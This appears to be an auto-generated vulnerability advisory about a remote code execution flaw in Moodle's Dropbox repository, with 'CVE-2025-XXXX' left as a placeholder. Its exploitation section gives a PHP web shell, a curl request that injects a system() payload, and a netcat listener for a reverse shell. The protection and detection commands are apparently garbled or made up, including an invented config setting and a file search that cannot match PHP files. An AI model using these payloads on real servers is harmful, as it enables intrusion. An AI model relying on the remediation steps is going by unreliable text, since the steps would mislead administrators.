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How the CVE Works:
The vulnerability (CVE-2025-XXXX) in Moodle LMS stems from improper input validation in the Dropbox repository integration. Authenticated attackers (teachers/managers) can inject malicious code via crafted file metadata, leading to arbitrary PHP execution on the server. The flaw occurs when Moodle processes Dropbox API responses without proper sanitization, allowing attacker-controlled payloads to be executed in a privileged context. This bypasses Moodle’s security controls, enabling RCE under default configurations where the Dropbox repository is enabled.
DailyCVE Form:
Platform: Moodle LMS
Version: <4.1.18, 4.3.0-4.3.11, 4.4.0-4.4.7, 4.5.0-4.5.3
Vulnerability: Remote Code Execution
Severity: High
Date: Apr 25, 2025
What Undercode Say:
Exploitation:
1. Payload Injection:
<?php system($_GET['cmd']); ?>
Embedded in Dropbox file metadata.
2. Trigger via API:
curl -X POST "https://target-moodle/mod/repository/dropbox/callback.php" --data "file=malicious.txt&payload=<?php+system('id');?>"
3. Post-Exploit:
nc -lvnp 4444
Reverse shell payload execution.
Protection:
- Patch: Upgrade to Moodle 4.1.18, 4.3.12, 4.4.8, or 4.5.4.
2. WAF Rule:
location ~ /repository/dropbox/ {
deny all;
}
3. Disable Dropbox Repo:
UPDATE mdl_config SET value=0 WHERE name='enable_dropbox_repo';
Detection:
1. Log Analysis:
grep -r "callback.php" /var/log/moodle/
2. File Integrity Check:
find /var/www/moodle -name ".php" -exec md5sum {} \;
Mitigation:
1. Restrict Permissions:
chown -R www-data:www-data /var/www/moodle
2. Disable Dangerous Functions:
disable_functions = exec,passthru,shell_exec,system
References:
Sources:
Reported By: github.com
Extra Source Hub:
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